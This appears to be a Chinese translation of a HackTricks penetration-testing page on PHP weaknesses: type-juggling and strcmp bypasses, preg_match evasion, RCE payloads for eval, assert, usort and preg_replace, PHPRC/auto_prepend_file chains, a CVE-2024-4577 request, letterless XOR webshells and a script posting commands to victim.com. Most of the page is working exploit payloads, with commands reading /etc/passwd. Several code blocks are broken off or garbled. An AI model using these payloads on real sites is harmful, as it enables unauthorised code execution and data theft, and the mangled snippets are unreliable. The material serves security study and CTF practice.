# PHP Tricks {{#include ../../../banners/hacktricks-training.md}} ## Cookies common location: 这同样适用于 phpMyAdmin cookies。 Cookies: ``` PHPSESSID phpMyAdmin ``` 位置: ``` /var/lib/php/sessions /var/lib/php5/ /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## 绕过 PHP 比较 ### 松散比较/类型转换 ( == ) 如果在 PHP 中使用 `==`,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。 PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../images/image (567).png>) {{#file}} EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} - `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字 - `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True(字符串中的数字被解释为数字) - `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0 - `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母(X 可以是任何字母)和后跟任何内容的字符串将等于 0 - `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 字符串中的任何字母等于 int 0 更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in_array()** **类型转换** 也默认影响 `in_array()` 函数(你需要将第三个参数设置为 true 以进行严格比较): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); //True var_dump(in_array(0, $values, true)); //False ``` ### strcmp()/strcasecmp() 如果此函数用于 **任何身份验证检查**(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` 同样的错误发生在 `strcasecmp()` ### 严格类型转换 即使使用了 `===`,也可能会出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) **`preg_match()`** 可用于 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** **用户输入** 中,如果没有,代码可以继续执行)。 #### New line bypass 然而,当限定正则表达式的开始时,`preg_match()` **仅检查用户输入的第一行**,因此如果你能够以 **多行** 发送输入,你可能能够绕过此检查。示例: ```php $myinput="aaaaaaa 11111111"; //Notice the new line echo preg_match("/1/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/1.*$/",$myinput); //1 --> In this scenario preg_match find the char "1" echo preg_match("/^.*1/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` 要绕过此检查,您可以**使用 URL 编码发送带有换行符的值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送: ```php { "cmd": "cat /etc/passwd" } ``` 找到一个示例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **长度错误绕过** (这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\ 如果你可以发送一个有效的非常 **大的输入** 给 `preg_match()`,它 **将无法处理它**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON,你可以发送: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` 从: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) #### ReDoS 绕过 技巧来源: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。 [这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\ **发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system()}` 以获得 SSTI --> RCE --> flag :)**。 好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_000(1M)。\ 要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` ### PHP 混合类型用于混淆 ```php $obfs = "1"; //string "1" $obfs++; //int 2 $obfs += 0.2; //float 2.2 $obfs = 1 + "7 IGNORE"; //int 8 $obfs = "string" + array("1.1 striiing")[0]; //float 1.1 $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) 如果 PHP 在重定向到另一个页面后没有调用 **`die`** 或 **`exit`** 函数,且在设置了头部 `Location` 后,PHP 将继续执行并将数据附加到主体: ```php ``` ## 路径遍历和文件包含漏洞利用 检查: {{#ref}} ../../../pentesting-web/file-inclusion/ {{#endref}} ## 更多技巧 - **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。 - **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\ 这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。 - 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\** 以查看 php 目录是否被激活。 - [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify 这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希匹配。\ 支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用该算法对大于 72 字节的内容进行哈希时,仅会使用前 72B: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW True ``` ### HTTP headers bypass abusing PHP errors #### Causing error after setting headers 从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。 这允许绕过例如在代码中设置的 CSP 头部,如: ```php ) ## PHP 函数中的 SSRF 查看页面: {{#ref}} php-ssrf.md {{#endref}} ## 代码执行 **system("ls");**\ &#xNAN;**\`ls\`;**\ **shell_exec("ls");** [查看此处以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **通过** **preg_replace()** **进行 RCE** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` 要执行“replace”参数中的代码,至少需要一个匹配项。\ 此选项在 PHP 5.5.0 中已被**弃用**。 ### **通过 Eval() 进行 RCE** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# '.system('uname -a');// '.phpinfo().' ``` ### **通过 Assert() 实现 RCE** 此函数在 php 中允许您 **执行以字符串形式编写的代码** 以 **返回 true 或 false**(并根据此改变执行)。通常用户变量会插入到字符串中间。例如:\ `assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要获得 **RCE**,您可以这样做: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` 您需要**破坏**代码**语法**,**添加**您的**有效载荷**,然后**再修复它**。您可以使用**逻辑运算**,例如“**and"或"%26%26"或"|"**。请注意,“or”,“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。 **另一个选项**是将命令的执行添加到字符串中:`'.highlight_file('.passwd').'` **另一个选项**(如果您有内部代码)是修改某个变量以改变执行:`$file = "hola"` ### **通过 usort() 进行 RCE** 此函数用于使用特定函数对项目数组进行排序。\ 要滥用此函数: ```php VALUE: );phpinfo();# ``` ```php VALUE: );}[PHP CODE];# ``` 您还可以使用 **//** 注释代码的其余部分。 要发现您需要关闭的括号数量: - `?order=id;}//`:我们收到一条错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。 - `?order=id);}//`:我们收到一个 **警告**。这似乎是正确的。 - `?order=id));}//`:我们收到一条错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。 ### **通过 .httaccess 进行 RCE** 如果您可以 **上传** 一个 **.htaccess** 文件,那么您可以 **配置** 多个内容,甚至执行代码(配置带有 .htaccess 扩展名的文件可以被 **执行**)。 不同的 .htaccess shell 可以在 [这里](https://github.com/wireghoul/htshells) 找到。 ### 通过环境变量进行 RCE 如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为来获取 **RCE**。 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。 - **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。 1. 上传一个包含我们的 shellcode 的 PHP 文件 2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件 3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。 - 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。 - **PHPRC** - 另一个选项 - 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - 或者要获取 RCE,启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` - 技术 [**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。 ### XAMPP CGI RCE - CVE-2024-4577 Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,例如 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com),作为 `php.exe cgi.php foo=bar`,这允许参数注入。这将允许注入以下参数以从主体加载 PHP 代码: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` 此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。请查看来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例: ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} User-Agent: curl/8.3.0 Accept: */* Content-Length: 23 Content-Type: application/x-www-form-urlencoded Connection: keep-alive ``` ## PHP Sanitization bypass & Brain Fuck [**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个脑残 PHP 代码的好主意,允许的字符非常少。\ 此外,还提出了一种有趣的方法来执行函数,使他们能够绕过多个检查: ```php (1)->{system($_GET[chr(97)])} ``` ## PHP 静态分析 查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` 如果您正在调试 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache: `sudo systemctl restart apache2` ### 反混淆 PHP 代码 您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来反混淆 php 代码。** ## PHP 包装器和协议 PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危害系统。有关 [**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。 ## Xdebug 未经身份验证的 RCE 如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。 ## 变量变量 ```php $x = 'Da'; $$x = 'Drums'; echo $x; //Da echo $$x; //Drums echo $Da; //Drums echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` ## RCE 利用新的 $\_GET\["a"]\($\_GET\["b") 如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} ## 无字母执行 PHP [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) ### 使用八进制 ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` ### **XOR** ```php $_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR 简易 Shell 代码 根据 [**这篇文章** ](https://mgp25.com/ctf/Web-challenge/)以下方式可以生成一个简易的 Shellcode: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` 所以,如果你可以 **在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` 对于更深入的解释,请查看 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) ### XOR Shellcode (inside eval) ```bash #!/bin/bash if [[ -z $1 ]]; then echo "USAGE: $0 CMD" exit fi CMD=$1 CODE="\$_='\ ``` ```php lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ``` ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` ### Perl 类似 ```php